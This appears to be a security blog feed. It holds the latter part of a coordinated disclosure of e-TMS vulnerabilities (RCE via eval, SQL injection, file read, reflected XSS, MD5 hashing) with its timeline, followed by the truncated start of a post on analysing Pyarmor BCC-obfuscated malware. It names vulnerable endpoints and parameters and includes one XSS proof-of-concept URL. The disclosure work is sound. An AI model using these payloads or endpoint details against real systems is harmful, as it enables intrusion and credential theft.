&lt;figure id=&quot;etms-rce3&quot; class=&quot;figure-posts&quot; style=&quot;width: 85%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-rce3.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2025/09/etms-rce3.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-rce3.png&quot; alt=&quot;dumping source code&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-rce3.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-rce3.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-rce3.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 04: Dumping source code.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;This allowed us to dump the source code directory by directory without having to deal with the client’s EDR.&lt;/p&gt;

&lt;p&gt;And, oh boy, was the source code a gold mine. Keep in mind that we were contracted for an external penetration test with a time constraint of ~1.5 hours per server. However, in order to dig for more gold, we decided to invest some of our slack time in exploring the source code, which resulted in the discovery of more critical vulnerabilities. We limited our scope to the unauthenticated portion of the web application, otherwise it would have been a bottomless pit.&lt;/p&gt;

&lt;p&gt;In fact, there was not only the login page &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/clt/loginfrm.asp&lt;/code&gt; but a total of &lt;strong&gt;25&lt;/strong&gt;!&lt;/p&gt;

&lt;p&gt;And many of them were vulnerable to the same RCE. It appears that some clients received a personalized login page with a hardcoded image of the client’s logo. Other than that, the code was identical. For some reason, the personalized login forms were delivered to &lt;em&gt;all&lt;/em&gt; e-TMS clients.&lt;/p&gt;

&lt;figure id=&quot;oubrah&quot; class=&quot;figure-posts&quot; style=&quot;width: 40%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-oubrah.jpg&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2025/09/etms-oubrah.jpg&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-oubrah.jpg&quot; alt=&quot;oprah meme Everyone gets a customized login page vulnerable to RCE&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-oubrah.jpg&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-oubrah.jpg&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-oubrah.jpg)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 05: &apos;Everyone&apos; gets a customized login page vulnerable to RCE.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;So let’s take a look at the vulnerable code in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/clt/loginfrm.asp&lt;/code&gt; to see how the RCE was made possible.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; For legal reasons, we will not show any of the original source code. Therefore, we have mocked the vulnerable code using node.js. A positive side effect is that most of you are probably more familiar with JavaScript than VB Script anyway.&lt;/p&gt;

&lt;figure id=&quot;etms-rce4&quot; class=&quot;figure-posts&quot; style=&quot;width: 40%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-rce4.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2025/09/etms-rce4.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-rce4.png&quot; alt=&quot;vulnerable code of loginfrm.asp&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-rce4.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-rce4.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-rce4.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 06: Vulnerable code of loginfrm.asp (mocked using node.js).&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;Well, that’s straightforward. It takes the value of the body parameter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;M&lt;/code&gt; and calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eval&lt;/code&gt; on it. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eval&lt;/code&gt; in VB Script behaves much like the eval in JavaScript: It takes a string and evaluates it as code…
After a lot of back and forth, with our client being the man in the middle during the communication with Andsoft, they finally fixed it by changing the line containing the eval to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strError = &quot;LOGIN ERROR&quot;&lt;/code&gt;. This will only return a generic error message - without using eval.&lt;/p&gt;

&lt;p&gt;While looking for the use of more evals in the unauthenticated parts of the web application, we stumbled upon &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/CLT/LOGINERRORFRM.ASP&lt;/code&gt;.&lt;/p&gt;

&lt;figure id=&quot;etms-rce5&quot; class=&quot;figure-posts&quot; style=&quot;width: 100%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-rce5.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2025/09/etms-rce5.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-rce5.png&quot; alt=&quot;Vulnerable code of LOGINERRORFRM.ASP&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-rce5.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-rce5.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-rce5.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 07: Vulnerable code of LOGINERRORFRM.ASP (mocked using node.js).&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;Almost the same vulnerability with the only difference that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;M&lt;/code&gt; is a query parameter instead of a body parameter.&lt;/p&gt;

&lt;figure id=&quot;etms-rce6&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-rce6.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2025/09/etms-rce6.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-rce6.png&quot; alt=&quot;Other page vulnerable to RCE&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-rce6.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-rce6.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-rce6.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 08: Other page vulnerable to RCE.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;h3 id=&quot;unauthenticated-sql-injection&quot;&gt;Unauthenticated SQL Injection&lt;/h3&gt;
&lt;p&gt;Two SQL Injections have been found in the unauthenticated part of e-TMS.&lt;/p&gt;

&lt;p&gt;The first one affects the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/CLT/track_request.asp&lt;/code&gt; page.&lt;/p&gt;

&lt;figure id=&quot;etms-sqli1&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-sqli1.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2025/09/etms-sqli1.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-sqli1.png&quot; alt=&quot;Track request page&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-sqli1.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-sqli1.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-sqli1.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 09: Track request page.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;While the default form presented is not vulnerable to SQLi, the form presented if the query parameter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;forgot=1&lt;/code&gt; is set is vulnerable.&lt;/p&gt;

&lt;figure id=&quot;etms-sqli2&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-sqli2.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2025/09/etms-sqli2.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-sqli2.png&quot; alt=&quot;Vulnerable form&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-sqli2.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-sqli2.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-sqli2.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 10: Vulnerable form.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;This sends the following request to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/inc/login/TRACK_REQUESTFRMSQL.ASP?FORGOT=1&lt;/code&gt;, which results in an SQL error message.&lt;/p&gt;

&lt;figure id=&quot;etms-sqli3&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-sqli3.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2025/09/etms-sqli3.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-sqli3.png&quot; alt=&quot;Request triggering sql error&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-sqli3.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-sqli3.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-sqli3.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 11: Request triggering sql error.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;This error-based SQLi could be easily exploited using sqlmap to dump, among other things, the hashed passwords of the users. This revealed that the passwords were only md5 hashed (see &lt;a href=&quot;#insecure-password-hashing-md5&quot;&gt;Insecure Password Hashing (md5)&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;But let’s have a look at the source code:&lt;/p&gt;

&lt;figure id=&quot;etms-sqli4&quot; class=&quot;figure-posts&quot; style=&quot;width: 60%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-sqli4.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2025/09/etms-sqli4.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-sqli4.png&quot; alt=&quot;Vulnerable code of TRACK_REQUESTFRMSQL.ASP&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-sqli4.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-sqli4.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-sqli4.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 12: Vulnerable code of TRACK_REQUESTFRMSQL.ASP (mocked using node.js).&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;The query parameter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FORGOT&lt;/code&gt; must have any value. This brings us to the part of the code where a SQL query is constructed. The body parameter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;USRMAIL&lt;/code&gt; is embedded directly into the SQL query without any validation or sanitization - leading to SQL injection.
Although the code contains a function to sanitize untrusted data for SQL queries, it is not used in many places, such as here.&lt;/p&gt;

&lt;p&gt;The second SQLi concerns &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/inc/connect/CONNECTION.ASP&lt;/code&gt;.&lt;/p&gt;

&lt;figure id=&quot;etms-sqli5&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-sqli5.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2025/09/etms-sqli5.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-sqli5.png&quot; alt=&quot;Request triggering sql error&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-sqli5.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-sqli5.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-sqli5.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 13: Request triggering sql error.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;The cookie &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SessionID&lt;/code&gt; seems to be insecurely embedded in a SQL query. Let’s have a look at the source code:&lt;/p&gt;

&lt;figure id=&quot;etms-sqli6&quot; class=&quot;figure-posts&quot; style=&quot;width: 65%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-sqli6.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2025/09/etms-sqli6.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-sqli6.png&quot; alt=&quot;Vulnerable code of CONNECTION.ASP&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-sqli6.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-sqli6.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-sqli6.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 14: Vulnerable code of CONNECTION.ASP (mocked using node.js).&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;The reason is similar to the first SQLi. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;request.cookies(&quot;SessionID&quot;)&lt;/code&gt; is passed directly to the SQL query and not to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ToSqlVarcharQuote&lt;/code&gt; first.&lt;/p&gt;

&lt;h3 id=&quot;unauthenticated-file-read&quot;&gt;Unauthenticated File Read&lt;/h3&gt;

&lt;p&gt;e-TMS has a page (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lib/asp/DOCSAVEASASP.ASP&lt;/code&gt;) that returns the content of any file in the webroot. No authentication required.&lt;/p&gt;

&lt;figure id=&quot;etms-fileread&quot; class=&quot;figure-posts&quot; style=&quot;width: 90%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-fileread.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2025/09/etms-fileread.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-fileread.png&quot; alt=&quot;File read being exploited to read the content of the vulnerable page&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-fileread.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-fileread.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-fileread.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 15: File read being exploited to read the content of a file.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DOCURL&lt;/code&gt; specifies the target file and can be either a query or a body parameter. In particular, the configuration file of e-TMS, which contains SQL and Active Directory credentials, as well as API keys, is a high value target. However, we will not disclose it’s name or path :)&lt;/p&gt;

&lt;h3 id=&quot;reflected-cross-site-scripting&quot;&gt;Reflected Cross-Site Scripting&lt;/h3&gt;

&lt;p&gt;Well, cross-site scripting (XSS) seems to be a big problem. Every page available to unauthenticated users was vulnerable to XSS.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/CLT/LOGINFRM.asp&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/clt/LOGINFRM_DJO.ASP&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/clt/LOGINFRM_LXA.ASP&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/clt/LOGINFRM_BET.ASP&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/clt/LOGINFRM_original.ASP&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/clt/LOGINFRM_CAT.ASP&lt;/code&gt;: Query parameters &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;l&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;demo&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;demo2&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TNTLOGIN&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UO&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SuppConn&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/lib/asp/alert.asp&lt;/code&gt;: Query parameter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;M&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/clt/resetPassword.asp&lt;/code&gt;: Query parameter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;L&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/CLT/changepassword.ASP&lt;/code&gt;: Query parameters &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Reset&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;L&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/CLT/TRACK_REQUEST.ASP&lt;/code&gt;: Query parameters &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;forgot&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;L&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here is a simple PoC (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/clt/loginfrm.asp?l=&quot;&amp;gt;&amp;lt;svg/onload=&quot;alert(%27still%20not%20fixed%27)&quot;&amp;gt;&lt;/code&gt;) to illustrate this:&lt;/p&gt;

&lt;figure id=&quot;etms-xss&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-xss.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2025/09/etms-xss.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-xss.png&quot; alt=&quot;Exploitation of one of the XSS&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-xss.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-xss.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-xss.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 17: Exploitation of one of the XSS&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;h3 id=&quot;insecure-password-hashing-md5&quot;&gt;Insecure Password Hashing (md5)&lt;/h3&gt;

&lt;p&gt;The &lt;a href=&quot;#unauthenticated-sql-injection&quot;&gt;Unauthenticated SQL Injection&lt;/a&gt; was exploited to dump the user table. This revealed that the passwords were simply hashed using the insecure md5 hashing algorithm. Thus, most of the passwords could be cracked without any effort. Let’s take a look at the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;encrypt&lt;/code&gt; function:&lt;/p&gt;

&lt;figure id=&quot;etms-md5&quot; class=&quot;figure-posts&quot; style=&quot;width: 90%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-md5.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2025/09/etms-md5.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-md5.png&quot; alt=&quot;Code of the encrypt function&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-md5.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-md5.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-md5.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 18: Code of the encrypt function (mocked using node.js).&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;While e-TMS seems to support both MD5 and SHA256 as hashing algorithms, the SHA256 case cannot be reached because it is hardcoded to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MD5&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;timeline&quot;&gt;Timeline&lt;/h2&gt;

&lt;table&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;2025-01-06&lt;/td&gt;
      &lt;td&gt;Start of the external penetration test&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2025-01-13&lt;/td&gt;
      &lt;td&gt;Reported RCEs and SQLis to our client&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2025-01-16&lt;/td&gt;
      &lt;td&gt;End of the external penetration test&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2025-01-17&lt;/td&gt;
      &lt;td&gt;Attempt #1 to contact the vendor - no response&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2025-01-27&lt;/td&gt;
      &lt;td&gt;Delivered the penetration test report to our client&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2025-01-27&lt;/td&gt;
      &lt;td&gt;Attempt #2 to contact the vendor - no response&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2025-02-26&lt;/td&gt;
      &lt;td&gt;Requested CVEs with INCIBE as CNA&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2025-04-25&lt;/td&gt;
      &lt;td&gt;Asked INCIBE for a status update - the vendor did not respond to them&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2025-09-19&lt;/td&gt;
      &lt;td&gt;CVEs were published&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

</description>
        <pubDate>Fri, 19 Sep 2025 12:00:00 +0000</pubDate>
        <link>https://cyber.wtf/2025/09/19/etms-by-andsoft-cves/</link>
        <guid isPermaLink="true">https://cyber.wtf/2025/09/19/etms-by-andsoft-cves/</guid>
        
        <category>cves</category>
        
        <category>web</category>
        
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Notes on Pyarmor BCC Mode</title>
        <description>&lt;h1 id=&quot;intro&quot;&gt;Intro&lt;/h1&gt;

&lt;p&gt;Throughout the last month, it has been brought to our attention by multiple parties that threat actors have increasingly started using BCC mode for protecting their Python scripts.&lt;/p&gt;

&lt;p&gt;Dashingsoft, the company behind Pyarmor, describes BCC mode as follows on their homepage:&lt;/p&gt;
&lt;blockquote&gt;
Converts some Python functions to C functions and compiles them into machine instructions using high optimization options for irreversible obfuscation.
&lt;/blockquote&gt;

&lt;p&gt;We assume BCC is short for something akin to “Bytecode to C Compilation”.&lt;/p&gt;

&lt;p&gt;From the sound of it, this does not bode well.
In today’s post, we’ll delve into this form of obfuscation and see what can be done to get some insight into the protected code for the purpose of malware analysis.&lt;/p&gt;

&lt;h1 id=&quot;enter-bcc&quot;&gt;Enter BCC&lt;/h1&gt;

&lt;p&gt;The first question is: Where can we even find the functions that have been compiled to native code?
It turns out, the tooling we developed as part of the &lt;a href=&quot;/2025/02/12/unpacking-pyarmor-v8-scripts/&quot;&gt;last blog post&lt;/a&gt; already dumped it - albeit by accident.
Some users of the script were confused that they weren’t able to unmarshal any Python data after initially decrypting the Pyarmor blob, because… well, see for yourself.&lt;/p&gt;

&lt;figure id=&quot;bcc_elf&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/05/bcc_elf.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2025/05/bcc_elf.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/05/bcc_elf.png&quot; alt=&quot;Screenshot of a hex dump showing an ELF file at offset 0x10&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/05/bcc_elf.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/05/bcc_elf.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/05/bcc_elf.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 1: That&apos;s not marshaled Python data!&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;Seeing an ELF (Executable and Linkable Format) file here is quite unusual, especially since the malware in question is targeting Windows.
However, that’s not the only unusual thing: The ELF structure is quite malformed and IDA, for example, refuses to load the file because it can’t make heads or tails of the headers.
Our suspicion is that Pyarmor produces an ELF object during its compilation process and then heavily customizes the header for its own purposes.&lt;/p&gt;

&lt;p&gt;At runtime, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualAlloc&lt;/code&gt; is used to allocate a single area of memory with RWX permissions that the entire ELF is written into.
The Pyarmor runtime then performs some computations to retrieve the following information from the header:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;A pointer to a function table, describing which functions are present in the binary and where they begin. Located at 0x160 in Figure 1.&lt;/li&gt;
  &lt;li&gt;An offset where the Pyarmor runtime should place a pointer to an “interface” object that allows the BCC code to interact with the outside world. Located at 0xE0 in Figure 1.&lt;/li&gt;
&lt;/ul&gt;

&lt;figure id=&quot;bcc_funcs&quot; class=&quot;figure-posts&quot; style=&quot;width: 65%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/05/bcc_funcs.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2025/05/bcc_funcs.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/05/bcc_funcs.png&quot; alt=&quot;Screenshot of BCC function table in the binary&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/05/bcc_funcs.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/05/bcc_funcs.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/05/bcc_funcs.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
